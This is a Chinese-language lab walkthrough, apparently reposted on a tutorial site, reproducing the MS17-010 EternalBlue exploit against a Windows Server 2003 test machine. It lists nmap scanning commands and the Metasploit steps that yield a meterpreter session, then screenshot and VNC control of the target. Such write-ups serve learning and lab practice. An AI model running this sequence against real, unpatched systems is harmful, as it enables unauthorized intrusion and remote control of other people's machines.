【ms17-010】永恒之蓝漏洞复现
准备工作
- 攻击机:kali,ip:192.168.56.128
- 靶机:windows server 2003,ip:192.168.56.132
- 工具:nmap(扫描)、msf
漏洞利用
首先我们先在攻击机上使用nmap扫一下该网段主机的存活情况
nmap -sS 192.168.56.0/24
/24是子网掩码1的的位数,代表有24个一,其余8位为0,即:255.255.255.0
此时已经扫描出来了,ip为:192.168.56.132
的主机开启,并且显示了开放的端口号。
然后我们可以使用:
nmap -p 1-1000 192.168.56.132
去扫描该主机端口从1-1000的开放情况
可以看到开放了如下端口:
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
接着我们使用命令去扫描该主机的操作系统类型:
nmap -O 192.168.56.132
查询出来操作系统为:win2003
分析了相关信息后,我们就可以使用nmap
自带的脚本去扫描该主机上的漏洞了:
nmap --script=vuln 192.168.56.132
这里扫描出来了两个漏洞,ms17-010
就是永恒之蓝漏洞
我们已经使用nmap
扫描出来了漏洞,接着我们需要使用工具利用漏洞
这里我们选择 Metasploit Framework
(MSF
)
Metasploit
(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具
因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
在kali
上,我们使用 msfconsole
,进入这个工具:
由于我们在上面已经知道了永恒之蓝编号:(ms17-010
)
所以我们在msf
中可以使用search
命令去搜索相关漏洞:
search ms17-010
然后我们使用use
命令,去选择相关模块:
use 1 # 我们选择一号模块,可以远程执行代码
然后我们使用命令:show options
,显示配置项
此处我们设置一下RHOSTS
(靶机的ip地址),使用set
命令
set RHOSTS 192.168.56.132
设置完成之后,就可以开始攻击了,使用run
或者exploit
运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。
这个时候我们已经成功了,远程命令执行。
我们使用screenshot
命令,获取靶机的屏幕截图
还可以使用远程桌面命令:
run vnc
help
命令可以查看可以使用哪些命令文章来源:https://www.toymoban.com/news/detail-805654.html
反弹shell文章来源地址https://www.toymoban.com/news/detail-805654.html
到了这里,关于【ms17-010】永恒之蓝漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!